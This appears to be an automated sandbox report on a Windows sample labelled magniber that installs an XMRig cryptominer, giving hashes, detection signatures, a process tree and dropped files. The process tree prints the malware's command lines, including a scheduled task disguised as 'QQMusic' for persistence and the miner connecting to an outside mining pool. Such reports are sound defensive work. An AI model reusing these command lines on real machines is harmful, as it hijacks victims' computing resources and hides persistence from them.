Overview

overview

10

Static

static

10

2024-06-15...er.exe

windows7-x64

10

2024-06-15...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    15-06-2024 11:17

Sharing

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General

  • Target

    2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe

  • Size

    9.0MB

  • MD5

    a2af48a018c65d34b445bd35bdd1b597

  • SHA1

    76daedc184a0cb9a717fc49f86a57b5baed0a35c

  • SHA256

    d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

  • SHA512

    d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

  • SSDEEP

    196608:rhHMBGC3PtXtT+Was8ywq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G0jwuwasMdJOnZKVSaaNZOn

Score
10/10
xmrigminerpersistenceupx

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • UPX dump on OEP (original entry point) 29 IoCs
  • XMRig Miner payload 14 IoCs
    miner
  • Executes dropped EXE 15 IoCs
  • Loads dropped DLL 2 IoCs
  • UPX packed file 29 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Gathers network information 2 TTPs 4 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 7 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1140
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe /F
        3⤵
        • Creates scheduled task(s)
        PID:2988
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2060
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3004
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • Gathers network information
        PID:2316
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2780
    • C:\ProgramData\SMB.exe
      C:\ProgramData\SMB.exe
      2⤵
      • Executes dropped EXE
      PID:692
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:1796
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2264
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1736
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im 2HIf.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2828
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im 2HIf.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:2292
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      PID:1360
    • C:\ProgramData\2HIf.exe
      C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1476
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
        PID:888
        • C:\Windows\SysWOW64\ipconfig.exe
          ipconfig /flushdns
          3⤵
          • Gathers network information
          PID:1900
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c taskkill /f /im 2HIf.exe&&exit
        2⤵
          PID:1768
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /f /im 2HIf.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1612
        • C:\ProgramData\2HIf.exe
          C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:2020
        • C:\ProgramData\2HIf.exe
          C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1224
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c ipconfig /flushdns
          2⤵
            PID:1900
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /flushdns
              3⤵
              • Gathers network information
              PID:1144
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c taskkill /f /im 2HIf.exe&&exit
            2⤵
              PID:1504
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /f /im 2HIf.exe
                3⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:2540
            • C:\ProgramData\2HIf.exe
              C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
              2⤵
              • Executes dropped EXE
              PID:2924
            • C:\ProgramData\2HIf.exe
              C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
              2⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:1772
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c taskkill /f /im 2HIf.exe&&exit
              2⤵
                PID:2028
                • C:\Windows\SysWOW64\taskkill.exe
                  taskkill /f /im 2HIf.exe
                  3⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2280
              • C:\ProgramData\2HIf.exe
                C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
                2⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2728
              • C:\ProgramData\2HIf.exe
                C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
                2⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:2788
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c ipconfig /flushdns
                2⤵
                  PID:1540
                  • C:\Windows\SysWOW64\ipconfig.exe
                    ipconfig /flushdns
                    3⤵
                    • Gathers network information
                    PID:1352
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c taskkill /f /im 2HIf.exe&&exit
                  2⤵
                    PID:1588
                    • C:\Windows\SysWOW64\taskkill.exe
                      taskkill /f /im 2HIf.exe
                      3⤵
                      • Kills process with taskkill
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1112
                  • C:\ProgramData\2HIf.exe
                    C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1056
                  • C:\ProgramData\2HIf.exe
                    C:\ProgramData\2HIf.exe -o stratum+tcp://auto.c3pool.org:19999 -u 0 -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2124
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {7522B26D-1EB8-4969-A2B9-092FA38CA2B3} S-1-5-21-39690363-730359138-1046745555-1000:EILATWEW\Admin:Interactive:[1]
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1652
                  • C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe
                    C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe
                    2⤵
                    • Executes dropped EXE
                    • Checks for VirtualBox DLLs, possible anti-VM trick
                    PID:1416

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                • C:\ProgramData\X64.dll
                  Filesize

                  85KB

                  MD5

                  c7fad963ad8e46e773dc5ee9177ab218

                  SHA1

                  92a68b223b2d2e501c1f0123fabf63e15fff4d11

                  SHA256

                  7417daf85e6215dedfd85ca8bfafcfd643c8afe0debcf983ad4bacdb4d1a6dbc

                  SHA512

                  efd3511ddf487e08515ff301fd8d521060f37ad8035e0c19fb5d9c730df444ced918596f54994d9d090c889a79ba3d431f96ae4fc942b0c4a8aa0c145a05419c

                  Download Submit

                • C:\ProgramData\X86.dll
                  MD5

                  d41d8cd98f00b204e9800998ecf8427e

                  SHA1

                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                  SHA256

                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                  SHA512

                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                  Download Submit

                • C:\Users\Admin\AppData\Local\Temp\2024-06-15_a2af48a018c65d34b445bd35bdd1b597_magniber.exe
                  Filesize

                  9.0MB

                  MD5

                  a2af48a018c65d34b445bd35bdd1b597

                  SHA1

                  76daedc184a0cb9a717fc49f86a57b5baed0a35c

                  SHA256

                  d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60

                  SHA512

                  d8def07a8accdb65b6b9dfc3168981b600a78310ec06cb626fcd000e7bcc4627ff5be7fc9f26992838226d84982ddd470d9ac89e041727e72b738a61bec61319

                  Download Submit

                • \ProgramData\2HIf.exe
                  Filesize

                  1.3MB

                  MD5

                  23d84a7ed2e8e76d0a13197b74913654

                  SHA1

                  23d04ba674bafbad225243dc81ce7eccd744a35a

                  SHA256

                  ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

                  SHA512

                  aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

                  Download Submit

                • \ProgramData\SMB.exe
                  Filesize

                  3.1MB

                  MD5

                  7b2f170698522cd844e0423252ad36c1

                  SHA1

                  303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

                  SHA256

                  5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

                  SHA512

                  7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

                  Download Submit

                • memory/1056-207-0x000000013FA30000-0x0000000140074000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1056-204-0x000000013FA30000-0x0000000140074000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1224-177-0x000000013FBA0000-0x00000001401E4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1224-174-0x000000013FBA0000-0x00000001401E4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1360-156-0x000000013FB60000-0x00000001401A4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1360-158-0x000000013FB60000-0x00000001401A4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1476-163-0x000000013F8F0000-0x000000013FF34000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1476-165-0x000000013F8F0000-0x000000013FF34000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1476-161-0x000000013F8F0000-0x000000013FF34000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1736-144-0x000000013F550000-0x000000013FB94000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1736-151-0x000000013F550000-0x000000013FB94000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1736-153-0x000000013F550000-0x000000013FB94000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1772-188-0x000000013F160000-0x000000013F7A4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/1772-185-0x000000013F160000-0x000000013F7A4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2020-168-0x000000013FE70000-0x00000001404B4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2020-171-0x000000013FE70000-0x00000001404B4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2124-210-0x000000013FDF0000-0x0000000140434000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2264-93-0x000000013F310000-0x000000013F954000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2264-135-0x000000013F310000-0x000000013F954000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2444-9-0x0000000004410000-0x0000000004A54000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2444-150-0x0000000004410000-0x0000000004A54000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2728-191-0x000000013FF10000-0x0000000140554000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2728-194-0x000000013FF10000-0x0000000140554000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2780-11-0x00000000000F0000-0x0000000000104000-memory.dmp

                  Filesize

                  80KB

                  Download

                • memory/2780-60-0x000000013F780000-0x000000013FDC4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2780-10-0x000000013F780000-0x000000013FDC4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2788-197-0x000000013F420000-0x000000013FA64000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2788-201-0x000000013F420000-0x000000013FA64000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2788-199-0x000000013F420000-0x000000013FA64000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2924-182-0x000000013FCA0000-0x00000001402E4000-memory.dmp

                  Filesize

                  6.3MB

                  Download

                • memory/2924-180-0x000000013FCA0000-0x00000001402E4000-memory.dmp

                  Filesize

                  6.3MB

                  Download